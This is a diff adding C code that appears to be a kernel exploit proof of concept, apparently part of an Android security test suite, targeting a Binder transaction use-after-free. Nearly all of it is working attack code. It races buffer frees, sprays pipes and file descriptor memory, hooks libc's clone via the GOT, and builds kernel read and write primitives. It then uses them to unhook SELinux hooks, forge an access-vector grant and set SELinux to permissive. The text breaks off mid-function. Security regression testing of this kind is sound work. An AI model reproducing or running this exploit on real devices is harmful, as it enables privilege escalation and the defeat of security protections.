+binder_size_t txn_offset(txn_t *t) {
+ return t->parsed;
+}
+
+void txn_set_offset(txn_t *t, binder_size_t off) {
+ t->parsed = off;
+}
+
+u32 txn_u32(txn_t *t) {
+ return *(u32*)txn_get(t, sizeof(u32));
+}
+
+int txn_int(txn_t *t) {
+ return *(int*)txn_get(t, sizeof(int));
+}
+
+u32 txn_handle(txn_t *t) {
+ struct flat_binder_object *fp;
+ fp = txn_get(t, sizeof(*fp));
+ if (fp->hdr.type != BINDER_TYPE_HANDLE)
+ fail("expected binder");
+ return fp->handle;
+}
+
+u16 *txn_str(txn_t *t) {
+ int len = txn_int(t);
+ if (len == -1)
+ return NULL;
+ if (len > 0x7fffffff / 2 - 1)
+ fail("bad txn str len");
+ return txn_get(t, (len + 1) * 2);
+}
+
+static inline u64 txn_buf(txn_t *t) {
+ return (u64)t->buf;
+}
+
+void free_txn(txn_t *txn) {
+ free_buffer(txn->fd, txn_buf(txn));
+}
+
+
+void handle_cmd(int fd, u32 cmd, void *dat) {
+ if (cmd == BR_ACQUIRE || cmd == BR_INCREFS) {
+ struct binder_ptr_cookie *pc = dat;
+ buf_t *buf = new_buf();
+ u32 reply = cmd == BR_ACQUIRE ? BC_ACQUIRE_DONE : BC_INCREFS_DONE;
+ buf_u32(buf, reply);
+ buf_uintptr(buf, pc->ptr);
+ buf_uintptr(buf, pc->cookie);
+ binder_write(fd, buf);
+ }
+}
+
+void recv_txn(int fd, txn_t *t) {
+ u32 found = 0;
+ while (!found) {
+ parser_t *p = new_parser();
+ binder_read(fd, p->p, p->size, &p->size);
+ while (!parser_end(p)) {
+ u32 cmd = parse_u32(p);
+ void *dat = (void *)parser_get(p, _IOC_SIZE(cmd));
+ if (dat == NULL) {
+ return;
+ }
+ handle_cmd(fd, cmd, dat);
+ if (cmd == BR_TRANSACTION || cmd == BR_REPLY) {
+ struct binder_transaction_data *tr = dat;
+ if (!parser_end(p))
+ fail("expected parser end");
+ t->fd = fd;
+ t->buf = (char*)tr->data.ptr.buffer;
+ t->parsed = 0;
+ t->size = tr->data_size;
+ t->offsets = (binder_size_t*)tr->data.ptr.offsets;
+ t->num_offsets = tr->offsets_size / sizeof(binder_size_t);
+ t->code = tr->code;
+ t->ptr = tr->target.ptr;
+ found = 1;
+ }
+ }
+ free_parser(p);
+ }
+}
+
+u32 recv_handle(int fd) {
+ txn_t txn;
+ recv_txn(fd, &txn);
+ u32 hnd = txn_handle(&txn);
+ inc_ref(fd, hnd);
+ free_txn(&txn);
+ return hnd;
+}
+
+u32 get_activity_svc(int fd) {
+ buf_t *trdat = new_buf();
+ buf_u32(trdat, 0); // policy
+ buf_str16(trdat, "android.os.IServiceManager");
+ buf_str16(trdat, "activity");
+ int SVC_MGR_GET_SERVICE = 1;
+ send_txn(fd, 0, SVC_MGR_GET_SERVICE, trdat, NULL);
+ return recv_handle(fd);
+}
+
+void txn_part(txn_t *t) {
+ int repr = txn_int(t);
+ if (repr == 0) {
+ txn_str(t);
+ txn_str(t);
+ } else if (repr == 1 || repr == 2) {
+ txn_str(t);
+ } else {
+ fail("txn part bad repr");
+ }
+}
+
+void txn_uri(txn_t *t) {
+ int type = txn_int(t);
+ if (type == 0) // NULL_TYPE_ID
+ return;
+ if (type == 1) { // StringUri.TYPE_ID
+ txn_str(t);
+ } else if (type == 2) {
+ txn_str(t);
+ txn_part(t);
+ txn_part(t);
+ } else if (type == 3) {
+ txn_str(t);
+ txn_part(t);
+ txn_part(t);
+ txn_part(t);
+ txn_part(t);
+ } else {
+ fail("txn uri bad type");
+ }
+}
+
+void txn_component(txn_t *t) {
+ u16 *pkg = txn_str(t);
+ if (pkg)
+ txn_str(t); // class
+}
+
+void txn_rect(txn_t *t) {
+ txn_int(t);
+ txn_int(t);
+ txn_int(t);
+ txn_int(t);
+}
+
+int str16_eq(u16 *s16, char *s) {
+ while (*s) {
+ if (*s16++ != *s++)
+ return 0;
+ }
+ return !*s16;
+}
+
+void txn_bundle(txn_t *t, u32 *hnd) {
+ int len = txn_int(t);
+ if (len < 0)
+ fail("bad bundle len");
+ if (len == 0)
+ return;
+ int magic = txn_int(t);
+ if (magic != 0x4c444e42 && magic != 0x4c444e44)
+ fail("bad bundle magic");
+ binder_size_t off = txn_offset(t);
+ int count = txn_int(t);
+ if (count == 1) {
+ u16 *key = txn_str(t);
+ int type = txn_int(t);
+ if (str16_eq(key, "bnd") && type == 15)
+ *hnd = txn_handle(t);
+ }
+ txn_set_offset(t, off);
+ txn_get(t, len);
+}
+
+void txn_intent(txn_t *t, u32 *hnd) {
+ txn_str(t); // action
+ txn_uri(t);
+ txn_str(t); // type
+ txn_int(t); // flags
+ txn_str(t); // package
+ txn_component(t);
+ if (txn_int(t)) // source bounds
+ txn_rect(t);
+ int n = txn_int(t);
+ if (n > 0) {
+ for (int i = 0; i < n; i++)
+ txn_str(t);
+ }
+ if (txn_int(t)) // selector
+ txn_intent(t, NULL);
+ if (txn_int(t))
+ fail("unexpected clip data");
+ txn_int(t); // content user hint
+ txn_bundle(t, hnd); // extras
+}
+
+void get_task_info(int fd, u32 app_task, u32 *hnd) {
+ buf_t *trdat = new_buf();
+ buf_u32(trdat, 0); // policy
+ buf_str16(trdat, "android.app.IAppTask");
+ send_txn(fd, app_task, 1 + 1, trdat, NULL);
+ txn_t txn;
+ recv_txn(fd, &txn);
+ if (txn_u32(&txn) != 0)
+ fail("getTaskInfo exception");
+ if (txn_int(&txn) == 0)
+ fail("getTaskInfo returned null");
+ txn_int(&txn); // id
+ txn_int(&txn); // persistent id
+ if (txn_int(&txn) > 0) // base intent
+ txn_intent(&txn, hnd);
+ if (*hnd != ~0u)
+ inc_ref(fd, *hnd);
+ free_txn(&txn);
+}
+
+u32 get_app_tasks(int fd, u32 actsvc) {
+ buf_t *trdat = new_buf();
+ buf_u32(trdat, 0); // policy
+ buf_str16(trdat, "android.app.IActivityManager");
+ buf_str16(trdat, "android.security.cts");
+ send_txn(fd, actsvc, 1 + 199, trdat, NULL);
+ txn_t txn;
+ recv_txn(fd, &txn);
+ if (txn_u32(&txn) != 0)
+ fail("getAppTasks exception");
+ int n = txn_int(&txn);
+ if (n < 0)
+ fail("getAppTasks n < 0");
+ u32 hnd = ~0u;
+ for (int i = 0; i < n; i++) {
+ u32 app_task = txn_handle(&txn);
+ get_task_info(fd, app_task, &hnd);
+ if (hnd != ~0u)
+ break;
+ }
+ if (hnd == ~0u)
+ fail("didn't find intent extras binder");
+ free_txn(&txn);
+ return hnd;
+}
+
+u32 get_exchg(int fd) {
+ u32 actsvc = get_activity_svc(fd);
+ u32 ret = get_app_tasks(fd, actsvc);
+ dec_ref(fd, actsvc);
+ return ret;
+}
+
+int get_binder(u32 *exchg) {
+ int fd = open_binder();
+ *exchg = get_exchg(fd);
+ return fd;
+}
+
+void exchg_put_binder(int fd, u32 exchg) {
+ buf_t *trdat = new_buf();
+ buf_t *troff = new_buf();
+ buf_u32(trdat, 0); // policy
+ buf_str16(trdat, "android.security.cts.IBinderExchange");
+ buf_binder(trdat, troff, (void*)1);
+ send_txn(fd, exchg, 1, trdat, troff);
+ txn_t txn;
+ recv_txn(fd, &txn);
+ free_txn(&txn);
+}
+
+u32 exchg_get_binder(int fd, u32 exchg) {
+ buf_t *trdat = new_buf();
+ buf_u32(trdat, 0); // policy
+ buf_str16(trdat, "android.security.cts.IBinderExchange");
+ send_txn(fd, exchg, 2, trdat, NULL);
+ txn_t txn;
+ recv_txn(fd, &txn);
+ if (txn_u32(&txn) != 0)
+ fail("getBinder exception");
+ u32 hnd = txn_handle(&txn);
+ inc_ref(fd, hnd);
+ free_txn(&txn);
+ return hnd;
+}
+
+void set_idle() {
+ struct sched_param param = {
+ .sched_priority = 0
+ };
+ if (sched_setscheduler(0, SCHED_IDLE, &param) < 0)
+ fail("sched_setscheduler fail");
+}
+
+int do_set_cpu(int cpu) {
+ cpu_set_t set;
+ CPU_ZERO(&set);
+ CPU_SET(cpu, &set);
+ return sched_setaffinity(0, sizeof(set), &set);
+}
+
+void set_cpu(int cpu) {
+ if (do_set_cpu(cpu) < 0)
+ fail("sched_setaffinity fail");
+}
+
+struct sync {
+ pthread_cond_t cond;
+ pthread_mutex_t mutex;
+ volatile int triggered;
+ size_t num_waiters;
+ volatile size_t num_waited;
+ volatile size_t num_done;
+};
+
+typedef struct sync sync_t;
+
+sync_t *alloc_sync() {
+ sync_t *ret = malloc(sizeof(sync_t));
+ if (pthread_mutex_init(&ret->mutex, NULL) ||
+ pthread_cond_init(&ret->cond, NULL))
+ fail("pthread init failed");
+ ret->triggered = 0;
+ ret->num_waiters = 1;
+ ret->num_waited = 0;
+ ret->num_done = 0;
+ return ret;
+}
+
+void sync_set_num_waiters(sync_t *sync, size_t num_waiters) {
+ sync->num_waiters = num_waiters;
+}
+
+void sync_pth_bc(sync_t *sync) {
+ if (pthread_cond_broadcast(&sync->cond) != 0)
+ fail("pthread_cond_broadcast failed");
+}
+
+void sync_pth_wait(sync_t *sync) {
+ pthread_cond_wait(&sync->cond, &sync->mutex);
+}
+
+void sync_wait(sync_t *sync) {
+ pthread_mutex_lock(&sync->mutex);
+ sync->num_waited++;
+ sync_pth_bc(sync);
+ while (!sync->triggered)
+ sync_pth_wait(sync);
+ pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_signal(sync_t *sync) {
+ pthread_mutex_lock(&sync->mutex);
+ while (sync->num_waited != sync->num_waiters)
+ sync_pth_wait(sync);
+ sync->triggered = 1;
+ sync_pth_bc(sync);
+ pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_done(sync_t *sync) {
+ pthread_mutex_lock(&sync->mutex);
+ sync->num_done++;
+ sync_pth_bc(sync);
+ while (sync->triggered)
+ sync_pth_wait(sync);
+ pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_wait_done(sync_t *sync) {
+ pthread_mutex_lock(&sync->mutex);
+ while (sync->num_done != sync->num_waiters)
+ sync_pth_wait(sync);
+ sync->triggered = 0;
+ sync->num_waited = 0;
+ sync->num_done = 0;
+ sync_pth_bc(sync);
+ pthread_mutex_unlock(&sync->mutex);
+}
+
+static inline void ns_to_timespec(u64 t, struct timespec *ts) {
+ const u64 k = 1000000000;
+ ts->tv_sec = t / k;
+ ts->tv_nsec = t % k;
+}
+
+static inline u64 timespec_to_ns(volatile struct timespec *t) {
+ return (u64)t->tv_sec * 1000000000 + t->tv_nsec;
+}
+
+static inline u64 time_now() {
+ struct timespec now;
+ if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
+ fail("clock_gettime failed");
+ return timespec_to_ns(&now);
+}
+
+static inline void sleep_until(u64 t) {
+ struct timespec wake;
+ ns_to_timespec(t, &wake);
+ int ret = clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &wake, NULL);
+ if (ret && ret != EINTR)
+ fail("clock_nanosleep failed");
+}
+
+void set_thread_name(const char *name) {
+ if (prctl(PR_SET_NAME, name) < 0)
+ fail("pr_set_name fail");
+}
+
+void set_timerslack() {
+ char path[64];
+ sprintf(path, "/proc/%d/timerslack_ns", gettid());
+ int fd = open(path, O_WRONLY);
+ if (fd < 0)
+ fail("open timerslack fail");
+ if (write(fd, "1\n", 2) != 2)
+ fail("write timeslack fail");
+ close(fd);
+}
+
+struct launch_dat {
+ u64 arg;
+ void (*func)(u64);
+ int attach_jni;
+ const char *name;
+};
+
+void *thread_start(void *vdat) {
+ struct launch_dat *dat = vdat;
+ if (dat->attach_jni)
+ jni_attach_thread();
+ set_thread_name(dat->name);
+ void (*func)(u64) = dat->func;
+ u64 arg = dat->arg;
+ free(dat);
+ (*func)(arg);
+ return NULL;
+}
+
+int launch_thread(const char *name, void (*func)(u64), sync_t **sync, u64 arg,
+ int attach_jni) {
+ if (sync)
+ *sync = alloc_sync();
+ struct launch_dat *dat = malloc(sizeof(*dat));
+ dat->func = func;
+ dat->arg = arg;
+ dat->attach_jni = attach_jni;
+ dat->name = name;
+ pthread_t th;
+ if (pthread_create(&th, NULL, thread_start, dat) != 0)
+ fail("pthread_create failed");
+ return pthread_gettid_np(th);
+}
+
+void *map_path(const char *path, u64 *size) {
+ int fd = open(path, O_RDONLY);
+ if (fd < 0)
+ fail("open libc fail");
+ struct stat st;
+ if (fstat(fd, &st) < 0)
+ fail("fstat fail");
+ void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+ if (map == MAP_FAILED)
+ fail("mmap libc fail");
+ *size = st.st_size;
+ close(fd);
+ return map;
+}
+
+typedef Elf64_Ehdr ehdr_t;
+typedef Elf64_Shdr shdr_t;
+typedef Elf64_Rela rela_t;
+typedef Elf64_Sym sym_t;
+
+shdr_t *find_rela_plt(void *elf) {
+ ehdr_t *ehdr = (ehdr_t *)elf;
+ shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff;
+ char *shstr = ((char *)elf) + shdr[ehdr->e_shstrndx].sh_offset;
+ for (u64 i = 0; i < ehdr->e_shnum; i++) {
+ char *name = shstr + shdr[i].sh_name;
+ if (strcmp(name, ".rela.plt") == 0)
+ return &shdr[i];
+ }
+ fail("didn't find .rela.plt");
+ return NULL;
+}
+
+u64 find_elf_clone_got(const char *path) {
+ u64 mapsz;
+ void *elf = map_path(path, &mapsz);
+ ehdr_t *ehdr = (ehdr_t *)elf;
+ shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff;
+ shdr_t *rphdr = find_rela_plt(elf);
+ if (rphdr == NULL) {
+ return (u64)0;
+ }
+ shdr_t *symhdr = &shdr[rphdr->sh_link];
+ shdr_t *strhdr = &shdr[symhdr->sh_link];
+ sym_t *sym = ((sym_t *)elf) + symhdr->sh_offset;
+ char *str = ((char *)elf) + strhdr->sh_offset;
+ rela_t *r = ((rela_t *)elf) + rphdr->sh_offset;
+ rela_t *end = r + rphdr->sh_size / sizeof(rela_t);
+ u64 ret = 0;
+ for (; r < end; r++) {
+ sym_t *s = &sym[ELF64_R_SYM(r->r_info)];
+ if (strcmp(str + s->st_name, "clone") == 0) {
+ ret = r->r_offset;
+ break;
+ }
+ }
+ if (!ret) {
+ fail("clone rela not found");
+ return (u64)0;
+ }
+ if (munmap(elf, mapsz) < 0) {
+ fail("munmap fail");
+ return (u64)0;
+ }
+ return ret;
+}
+
+int hook_tid;
+int (*real_clone)(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f);
+
+int clone_unshare_files(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f) {
+ if (gettid() == hook_tid)
+ flags &= ~CLONE_FILES;
+ return (*real_clone)(a, b, flags, c, d, e, f);
+}
+
+void unshare_following_clone_files() {
+ hook_tid = gettid();
+}
+
+void hook_clone() {
+ void *p = (void*)((uintptr_t)clone & ~0xffful);
+ while (*(u32*)p != 0x464c457f)
+ p = (void *)(((u32 *)p) - 0x1000);
+ u64 *got = ((u64 *)p) + find_elf_clone_got("/system/lib64/libc.so");
+ if (*got != (u64)clone)
+ fail("bad got");
+ real_clone = (void*)clone;
+ void *page = (void*)((u64)got & ~0xffful);
+ if (mprotect(page, 0x1000, PROT_READ | PROT_WRITE) < 0) {
+ fail("got mprotect fail");
+ return;
+ }
+ *got = (u64)clone_unshare_files;
+}
+
+u32 r32(u64 addr);
+u64 r64(u64 addr);
+void w64(u64 addr, u64 val);
+void w128(u64 addr, u64 v1, u64 v2);
+u64 scratch;
+u64 rw_task;
+u64 current;
+u64 fdarr;
+
+void hlist_del(u64 node) {
+ u64 next = r64(node);
+ u64 pprev = r64(node + 8);
+ if (r64(pprev) != node) {
+ fail("bad hlist");
+ return;
+ }
+ w64(pprev, next);
+ if (next)
+ w64(next + 8, pprev);
+}
+
+u64 get_file(int fd) {
+ return r64(fdarr + fd * 8);
+}
+
+u64 first_bl(u64 func) {
+ for (int i = 0; i < 30; i++) {
+ u32 inst = r32(func + i * 4);
+ if ((inst >> 26) == 0x25) { // bl
+ s64 off = inst & ((1u << 26) - 1);
+ off <<= 64 - 26;
+ off >>= 64 - 26;
+ return func + i * 4 + off * 4;
+ }
+ }
+ fail("bl not found");
+ return (u64)-1;
+}
+
+int is_adrp(u32 inst) {
+ return ((inst >> 24) & 0x9f) == 0x90;
+}
+
+u64 parse_adrp(u64 p, u32 inst) {
+ s64 off = ((inst >> 5) & ((1u << 19) - 1)) << 2;
+ off |= (inst >> 29) & 3;
+ off <<= (64 - 21);
+ off >>= (64 - 21 - 12);
+ return (p & ~0xffful) + off;
+}
+
+u64 find_adrp_add(u64 addr) {
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ u32 inst = r32(addr);
+ if (is_adrp(inst)) {
+ u64 ret = parse_adrp(addr, inst);
+ inst = r32(addr + 4);
+ if ((inst >> 22) != 0x244) {
+ fail("not add after adrp");
+ return (u64)-1;
+ }
+ ret += (inst >> 10) & ((1u << 12) - 1);
+ return ret;
+ }
+ addr += 4;
+ }
+ fail("adrp add not found");
+ return (u64)-1;
+}
+
+u64 locate_hooks() {
+ char path[256];
+ DIR *d = opendir("/proc/self/map_files");
+ char *p;
+ while (1) {
+ struct dirent *l = readdir(d);
+ if (!l)
+ fail("readdir fail");
+ p = l->d_name;
+ if (strcmp(p, ".") && strcmp(p, ".."))
+ break;
+ }
+ sprintf(path, "/proc/self/map_files/%s", p);
+ closedir(d);
+ int fd = open(path, O_PATH | O_NOFOLLOW | O_RDONLY);
+ if (fd < 0)
+ fail("link open fail");
+ struct stat st;
+ if (fstat(fd, &st) < 0)
+ fail("fstat fail");
+ if (!S_ISLNK(st.st_mode))
+ fail("link open fail");
+ u64 file = get_file(fd);
+ u64 inode = r64(file + 0x20);
+ u64 iop = r64(inode + 0x20);
+ u64 follow_link = r64(iop + 8);
+ u64 cap = first_bl(follow_link);
+ u64 scap = first_bl(cap);
+ if (cap == (u64)-1 || scap == (u64)-1) {
+ dbg("cap=%016zx", cap);
+ dbg("scap=%016zx", scap);
+ return (u64)-1;
+ }
+ u64 hooks = find_adrp_add(scap);
+ close(fd);
+ dbg("hooks=%016zx", hooks);
+ return hooks;
+}
+
+void unhook(u64 hooks, int idx) {
+ u64 hook = hooks + idx * 0x10;
+ w128(hook, hook, hook);
+}
+
+u64 locate_avc(u64 hooks) {
+ u64 se_file_open = r64(r64(hooks + 0x490) + 0x18);
+ u64 seqno = first_bl(se_file_open);
+ if (seqno == (u64)-1) {
+ dbg("seqno=%016zx", seqno);
+ return (u64)-1;
+ }
+ u64 avc = find_adrp_add(seqno);
+ dbg("avc=%016zx", avc);
+ return avc;
+}
+
+u32 get_sid() {
+ u64 real_cred = r64(current + 0x788);
+ u64 security = r64(real_cred + 0x78);
+ u32 sid = r32(security + 4);
+ dbg("sid=%u", sid);
+ return sid;
+}
+
+struct avc_node {
+ u32 ssid;
+ u32 tsid;
+ u16 tclass;
+ u16 pad;
+ u32 allowed;
+};
+
+u64 grant(u64 avc, u32 ssid, u32 tsid, u16 class) {
+ struct avc_node n;
+ n.ssid = ssid;
+ n.tsid = tsid;
+ n.tclass = class;
+ n.pad = 0;
+ n.allowed = ~0u;
+ u64 node = scratch;
+ for (int i = 0; i < 9; i++)
+ w64(node + i * 8, 0);
+ u64 *src = (u64*)&n;
+ w64(node, src[0]);
+ w64(node + 8, src[1]);
+ int hash = (ssid ^ (tsid<<2) ^ (class<<4)) & 0x1ff;
+ u64 head = avc + hash * 8;
+ u64 hl = node + 0x28;
+ u64 first = r64(head);
+ w128(hl, first, head);
+ if (first)
+ w64(first + 8, hl);
+ w64(head, hl);
+ dbg("granted security sid");
+ return hl;
+}
+
+int enforce() {
+ int fd = open("/sys/fs/selinux/enforce", O_RDONLY);
+ if (fd < 0)
+ return 1;
+ dbg("enforce=%d", fd);
+ char buf;
+ if (read(fd, &buf, 1) != 1)
+ return 1;
+ close(fd);
+ return buf == '1';
+}
+
+void disable_enforce() {
+ int fd = open("/sys/fs/selinux/enforce", O_WRONLY);
+ if (fd >= 0) {
+ write(fd, "0", 1);
+ close(fd);
+ }
+ if (enforce())
+ fail("failed to switch selinux to permissive");
+ dbg("selinux now permissive");
+}
+
+void disable_selinux() {
+ if (!enforce()) {
+ dbg("selinux already permissive");
+ return;
+ }
+ u64 hooks = locate_hooks();
+ if (hooks == (u64)-1) {
+ return;
+ }
+ u64 avc = locate_avc(hooks);
+ if (avc == (u64)-1) {
+ return;
+ }
+ unhook(hooks, 0x08); // capable
+ unhook(hooks, 0x2f); // inode_permission
+ unhook(hooks, 0x3d); // file_permission
+ unhook(hooks, 0x49); // file_open
+ u64 avcnode = grant(avc, get_sid(), 2, 1);
+ disable_enforce();
+ hlist_del(avcnode);
+}
+
+#define PIPES 8
+#define STAGE2_THREADS 64
+
+int cpumask;
+int cpu1;
+int cpu2;
+int tot_cpus;
+const char *pipedir;
+char *pipepath;
+char *pipeid;
+int pipefd[PIPES];
+sync_t *free_sync;
+sync_t *poll_sync;
+sync_t *stage2_sync1;
+sync_t *stage2_sync2;
+sync_t *rw_thread_sync;
+int bnd1, bnd2;
+u32 to1;
+u64 free_ptr;
+u64 trigger_time;
+int total_txns;
+int bad_pipe;
+int uaf_pipe;
+volatile int uaf_alloc_success;
+u64 pipe_inode_info;
+int rw_thread_tid;
+volatile int rw_cmd;
+volatile int rw_bit;
+volatile int rw_val;
+u64 free_data;
+u64 next_free_data;
+
+void select_cpus() {
+ cpu1 = cpu2 = -1;
+ for (int i = 7; i >= 0; i--) {
+ if (do_set_cpu(i) < 0)
+ continue;
+ cpumask |= (1 << i);
+ if (cpu1 < 0)
+ cpu1 = i;
+ else if (cpu2 < 0)
+ cpu2 = i;
+ tot_cpus++;
+ }
+ if (cpu1 < 0 || cpu2 < 0) {
+ fail("huh, couldn't find 2 cpus");
+ }
+ dbg("cpumask=%02x cpu1=%d cpu2=%d", cpumask, cpu1, cpu2);
+}
+
+void rw_thread(u64 idx);
+void free_thread(u64 arg);
+void poll_thread(u64 arg);
+
+int cpu_available(int cpu) {
+ return !!(cpumask & (1 << cpu));
+}
+
+void hog_cpu_thread(u64 arg) {
+ set_cpu(cpu2);
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ }
+}
+
+void launch_threads() {
+ launch_thread("txnuaf.log", log_thread, NULL, 0, 1);
+ launch_thread("txnuaf.hog", hog_cpu_thread, NULL, 0, 1);
+ launch_thread("txnuaf.free", free_thread, &free_sync, 0, 1);
+ launch_thread("txnuaf.poll", poll_thread, &poll_sync, 0, 1);
+ rw_thread_tid = launch_thread("txnuaf.rw", rw_thread, &rw_thread_sync, 0, 0);
+}
+
+void open_binders() {
+ u32 xchg;
+ bnd1 = get_binder(&xchg);
+ exchg_put_binder(bnd1, xchg);
+ dec_ref(bnd1, xchg);
+ bnd2 = get_binder(&xchg);
+ to1 = exchg_get_binder(bnd2, xchg);
+ dec_ref(bnd1, xchg);
+}
+
+void make_pipe_path() {
+ size_t l = strlen(pipedir);
+ pipepath = malloc(l + 4); // "/pd\0"
+ strcpy(pipepath, pipedir);
+ pipepath[l++] = '/';
+ pipeid = pipepath + l;
+}
+
+int open_pipe(int idx) {
+ if (!pipepath)
+ make_pipe_path();
+ sprintf(pipeid, "p%d", idx);
+ int fd = open(pipepath, O_RDWR);
+ if (fd < 0)
+ fail("pipe open fail");
+ return fd;
+}
+
+void open_pipes() {
+ for (int i = 0; i < PIPES; i++)
+ pipefd[i] = open_pipe(i);
+}
+
+int do_poll(int fd, int timeout) {
+ struct pollfd pfd;
+ pfd.fd = fd;
+ pfd.events = 0;
+ pfd.revents = 0;
+ if (poll(&pfd, 1, timeout) < 0)
+ fail("pipe poll fail");
+ return pfd.revents;
+}
+
+int find_bad_pipe() {
+ for (int i = 0; i < PIPES; i++) {
+ if (do_poll(pipefd[i], 0) & POLLHUP) {
+ dbg("corrupted pipe at %d", i);
+ bad_pipe = pipefd[i];
+ sprintf(pipeid, "p%d", i);
+ return 1;
+ }
+ }
+ return 0;
+}
+
+void close_pipes() {
+ for (int i = 0; i < PIPES; i++) {
+ if (close(pipefd[i]) < 0)
+ fail("close pipe fail, i=%d fd=%d", i, pipefd[i]);
+ }
+}
+
+void free_thread(u64 arg) {
+ set_timerslack();
+ set_cpu(cpu1);
+ set_idle();
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ sync_wait(free_sync);
+ buf_t *buf = new_buf();
+ buf_u32(buf, BC_FREE_BUFFER);
+ buf_uintptr(buf, free_ptr);
+ struct binder_write_read bwr;
+ memset(&bwr, 0x00, sizeof(bwr));
+ bwr.write_buffer = (u64)buf->p;
+ bwr.write_size = buf->off;
+ int off = cpu1 < 4 ? 1300 : 350;
+ u64 target_time = trigger_time - off;
+ while (time_now() < target_time)
+ ;
+ ioctl(bnd1, BINDER_WRITE_READ, &bwr);
+ free_buf(buf);
+ sync_done(free_sync);
+ }
+};
+
+void race_cycle() {
+ dbg("race cycle, this may take time...");
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ send_txn(bnd2, to1, 0, NULL, NULL);
+ txn_t t1, t2;
+ recv_txn(bnd1, &t1);
+ free_ptr = txn_buf(&t1);
+ trigger_time = time_now() + 100000;
+ sync_signal(free_sync);
+ sleep_until(trigger_time);
+ send_reply(bnd1);
+ open_pipes();
+ recv_txn(bnd2, &t2);
+ free_txn(&t2);
+ sync_wait_done(free_sync);
+ if (find_bad_pipe())
+ break;
+ close_pipes();
+ }
+}
+
+void reopen_pipe() {
+ uaf_pipe = open(pipepath, O_WRONLY);
+ if (uaf_pipe < 0)
+ fail("reopen pipe fail");
+}
+
+void stage2_thread(u64 cpu);
+
+void stage2_launcher(u64 arg) {
+ dup2(uaf_pipe, 0);
+ dup2(bnd1, 1);
+ dup2(bnd2, 2);
+ for (int i = 3; i < 1024; i++)
+ close(i);
+ unshare_following_clone_files();
+ int cpu_count = android_getCpuCount();
+ for (int cpu = 0; cpu < cpu_count; cpu++) {
+ if (cpu_available(cpu)) {
+ for (int i = 0; i < STAGE2_THREADS; i++)
+ launch_thread("txnuaf.stage2", stage2_thread, NULL, cpu, 0);
+ }
+ }
+}
+
+void signal_xpl_threads() {
+ sync_signal(stage2_sync1);
+ sync_wait_done(stage2_sync1);
+ sync_signal(stage2_sync2);
+ sync_wait_done(stage2_sync2);
+}
+
+void launch_stage2_threads() {
+ stage2_sync1 = alloc_sync();
+ stage2_sync2 = alloc_sync();
+ sync_set_num_waiters(stage2_sync1, STAGE2_THREADS);
+ sync_set_num_waiters(stage2_sync2, (tot_cpus - 1) * STAGE2_THREADS);
+ hook_clone();
+ unshare_following_clone_files();
+ launch_thread("txnuaf.stage2_launcher", stage2_launcher, NULL, 0, 0);
+ // set cpu
+ signal_xpl_threads();
+}
+
+void alloc_txns(int n) {
+ total_txns += n;
+ size_t totsz = n * (4 + sizeof(struct binder_transaction_data));
+ buf_t *buf = new_buf_sz(totsz);
+ for (int i = 0; i < n; i++) {
+ buf_u32(buf, BC_TRANSACTION);
+ struct binder_transaction_data *tr;
+ tr = buf_alloc(buf, sizeof(*tr));
+ tr->target.handle = to1;
+ tr->code = 0;
+ tr->flags |= TF_ONE_WAY;
+ tr->data.ptr.buffer = 0;
+ tr->data.ptr.offsets = 0;
+ tr->data_size = 0;
+ tr->offsets_size = 0;
+ }
+ binder_write(bnd2, buf);
+}
+
+void recv_all_txns(int fd) {
+ for (int i = 0; i < total_txns; i++) {
+ txn_t t;
+ recv_txn(fd, &t);
+ free_txn(&t);
+ }
+}
+
+void clean_slab() {
+ // clean node
+ alloc_txns(4096);
+ // clean each cpu
+ int cpu_count = android_getCpuCount();
+ for (int i = 0; i < cpu_count; i++) {
+ if (cpu_available(i)) {
+ set_cpu(i);
+ alloc_txns(512);
+ }
+ }
+ set_cpu(cpu1);
+ // for good measure
+ alloc_txns(128);
+}
+
+void poll_thread(u64 arg) {
+ set_timerslack();
+ sync_wait(poll_sync);
+ do_poll(uaf_pipe, 200);
+ dbg("poll timeout");
+ sync_done(poll_sync);
+}
+
+void free_pipe_alloc_fdmem() {
+ clean_slab();
+ sync_signal(poll_sync);
+ usleep(50000);
+ if (close(bad_pipe) < 0) {
+ fail("free close fail");
+ return;
+ }
+ // alloc fdmem
+ signal_xpl_threads();
+ // set all bits
+ signal_xpl_threads();
+ dbg("fdmem spray done");
+ sync_wait_done(poll_sync);
+ recv_all_txns(bnd1);
+}
+
+void find_pipe_slot_thread() {
+ signal_xpl_threads();
+ if (!uaf_alloc_success)
+ fail("inode_info uaf alloc fail - this may sometimes happen, "
+ "kernel may crash after you close the app");
+}
+
+void set_all_bits() {
+ for (int i = 0x1ff; i >= 3; i--)
+ if (dup2(1, i) < 0)
+ fail("dup2 fail, fd=%d", i);
+}
+
+void winfo32_lo(int addr, u32 dat) {
+ int startbit = addr ? 0 : 3;
+ addr *= 8;
+ for (int i = startbit; i < 32; i++) {
+ int fd = addr + i;
+ if (dat & (1ul << i)) {
+ if (dup2(1, fd) < 0)
+ fail("winfo dup2 fail, fd=%d", fd);
+ } else {
+ if (close(fd) < 0 && errno != EBADF)
+ fail("winfo close fail, fd=%d", fd);
+ }
+ }
+}
+
+void winfo32_hi(int addr, u32 dat) {
+ addr *= 8;
+ for (int i = 0; i < 32; i++) {
+ u32 bit = dat & (1u << i);
+ int fd = addr + i;
+ if (fcntl(fd, F_SETFD, bit ? FD_CLOEXEC : 0) < 0) {
+ if (errno != EBADF || bit)
+ fail("winfo fcntl fail fd=%d", fd);
+ }
+ }
+}
+
+void winfo32(int addr, u32 dat) {
+ if (addr < 0x40)
+ winfo32_lo(addr, dat);
+ else
+ winfo32_hi(addr - 0x40, dat);
+}
+
+void winfo64(int addr, u64 dat) {
+ winfo32(addr, dat);
+ winfo32(addr + 4, dat >> 32);
+}
+
+u64 rinfo64(int addr) {
+ addr *= 8;
